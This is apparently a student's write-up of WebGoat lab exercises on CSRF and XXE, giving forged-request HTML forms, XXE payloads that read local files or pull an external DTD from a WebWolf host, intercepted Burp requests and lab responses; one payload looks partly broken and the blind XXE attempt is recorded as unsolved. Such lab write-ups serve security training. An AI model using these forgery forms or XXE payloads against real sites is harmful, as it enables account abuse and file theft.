

## (A5) Security Misconfigurations :

### 1- CSRF:

#### - Challenge 1 : Basic Get CSRF Exercise

- 1- Create fake page and upload file to webwolf

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>
  <form accept-charset="UNKNOWN" id="basic-csrf-get" method="POST" name="form1" target="_blank" successcallback="" ac
    <input name="csrf" type="hidden" value="false" >
    <input type="submit" name="submit" >
  </form>
</body>
</html>
```

- 2- After upload file in webwolf and go to this page

Submit Query

- 3- Click on submit query give me flag

```
flag:      7394
success:   true
message:   "Congratulations! Appears you made the request from a separate host."
```

---

#### - Challenge 2 : Post a review on someone else's behalf :

- 1- Visit lesson source code on github to get ( weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9" )
- 2- Create fake page with this token

```

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>

  <form accept-charset="UNKNOWN" id="csrf-review" method="POST" name="review-form" target="_blank" successcallback="">
    <input type="hidden" name="reviewText" type="text" value="PseudoTime!" >
    <input type="hidden" name="stars" type="text" value="1" >
    <input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9" >

    <input type="submit" name="submit review" >
  </form>

</body>
</html>

```

### 3- Upload it to webworf and submit query then get results

```

lessonCompleted: true
feedback: "It appears you have submitted correctly from another site. Go reload and see if your post is there."
feedbackArgs: null
output: null
outputArgs: null
assignment: "ForgedReviews"
attemptWasMade: true

```

---

## - Challenge 3 : CSRF and Content-Type :

### 1- Create html page and upload to webwolf

```

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>
</head>
<body>

  <form name="Feedback Form" enctype="text/plain" action="http://localhost:8081/WebGoat/csrf/feedback/message" method="POST">
    <input type="hidden" name="{\"name\":\"PseudoTime\",\"email\":\"pseudotime@wegboat.com\",\"subject\":\"CSRF and content-type\"}" >
    <input type="submit" name="submit review" >
  </form>


</body>
</html>

```

### 2- Now with same credentials go and make comment

**Name**

**Email Address**



**Subject**

**Message**

a

Send Message

### 3- Lab solved

```
lessonCompleted: true
feedback: "It appears you have submitted correctly from another site. Go reload and see if your post is there."
feedbackArgs: null
output: null
outputArgs: null
assignment: "ForgedReviews"
attemptWasMade: true
```

--

---

## 2: XXE :

### - Challenge 1 :

- 1- We type any thing and click submit
- 2- Using burpsuite intercept request

```
POST /WebGoat/xxe/simple HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 56
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer:
http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed
Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

<?xml version="1.0"?>
  <comment>
    <text>
      a
    </text>
  </comment>
```

- 3- Modify xml code
- 4- Send request with modified code and get response

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 122
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer: http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed
Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

<?xml version="1.0"?>
  <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:/// ">
  ]>
  <comment>
    <text>
      &xxe;
    </text>
  </comment>
```

```
1 HTTP/1.1 200
2 Content-Type: application/json
3 Date: Sat, 03 May 2025 13:53:04 GMT
4 Keep-Alive: timeout=60
5 Connection: keep-alive
6 Content-Length: 237
7
8 {
9   "lessonCompleted":true,
10  "feedback":
11    "Congratulations. You have successfully completed the assignment.",
12    "feedbackArgs":null,
13    "output":null,
14    "outputArgs":null,
15    "assignment":"SimpleXXE",
16    "attemptWasMade":true
17 }
```

- first lab solved

---

## Challenge 2 :

- 1- Type anything and click submit
- 2- Intercept request using burp
- 3- Send request to repeater

```

POST /WebGoat/xxe/content-type HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer:
http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed
Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

{
  "text": "a"
}

```

- 4-
- 5- Edit content-type to application/xml
- 6- Add xml payload
- 7- Send request

<pre> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/xml X-Requested-With: XMLHttpRequest Content-Length: 123 Origin: http://127.0.0.1:8081 Connection: keep-alive Referer: http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0  &lt;?xml version="1.0"?&gt;   &lt;!DOCTYPE foo [     &lt;!ENTITY xxe SYSTEM "file:/// "&gt;   ]&gt;   &lt;comment&gt;     &lt;text&gt;       &amp;xxe;     &lt;/text&gt;   &lt;/comment&gt; </pre>	<pre> 1 HTTP/1.1 200 2 Content-Type: application/json 3 Date: Sat, 03 May 2025 14:05:02 GMT 4 Keep-Alive: timeout=60 5 Connection: keep-alive 6 Content-Length: 249 7 8 { 9   "lessonCompleted":true, 10  "feedback":     "Congratulations. You have successfully completed the a     ssignment.", 11  "feedbackArgs":null, 12  "output":null, 13  "outputArgs":null, 14  "assignment":"ContentTypeAssignment", 15  "attemptWasMade":true 16 } </pre>
---	---

5- Lab solved successfully

---

### Challenge 3 : Blind XXE assignment

- 1- Intercept request and sent it to repeater
- 2- Create attack.dtd file

```
POST /WebGoat/xxe/blind HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 56
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer:
http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed
Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

<?xml version="1.0"?>
  <comment>
    <text>
      a
    </text>
  </comment>
```

### 3- Add xml payload

```
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/xml
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 191
10 Origin: http://127.0.0.1:8081
11 Connection: keep-alive
12 Referer:
  http://127.0.0.1:8081/WebGoat/start.mvc?username=mohammed
13 Cookie: JSESSIONID=CAD2D16E36F23353A5E9E23E2BEC9516
14 Sec-Fetch-Dest: empty
15 Sec-Fetch-Mode: cors
16 Sec-Fetch-Site: same-origin
17 Priority: u=0
18
19 <?xml version="1.0"?>
20   <!DOCTYPE root [
21     <!ENTITY % remote SYSTEM
22       "http://localhost:9090/files/mohammed/attacka.dtd">
23     %xxe;
24   ]>
25   <comment>
26     <text>
      No injection needed
    </text>
  </comment>

```

```
1 HTTP/1.1 200
2 Content-Type: application/json
3 Date: Sat, 03 May 2025 14:42:22 GMT
4 Keep-Alive: timeout=60
5 Connection: keep-alive
6 Content-Length: 240
7
8 {
9   "lessonCompleted":false,
10  "feedback":
  "Sorry the solution is not correct, please try again.",
11  "feedbackArgs":null,
12  "output":null,
13  "outputArgs":null,
14  "assignment":"BlindSendFileAssignment",
15  "attemptWasMade":true
16 }
```

Finally not solved

---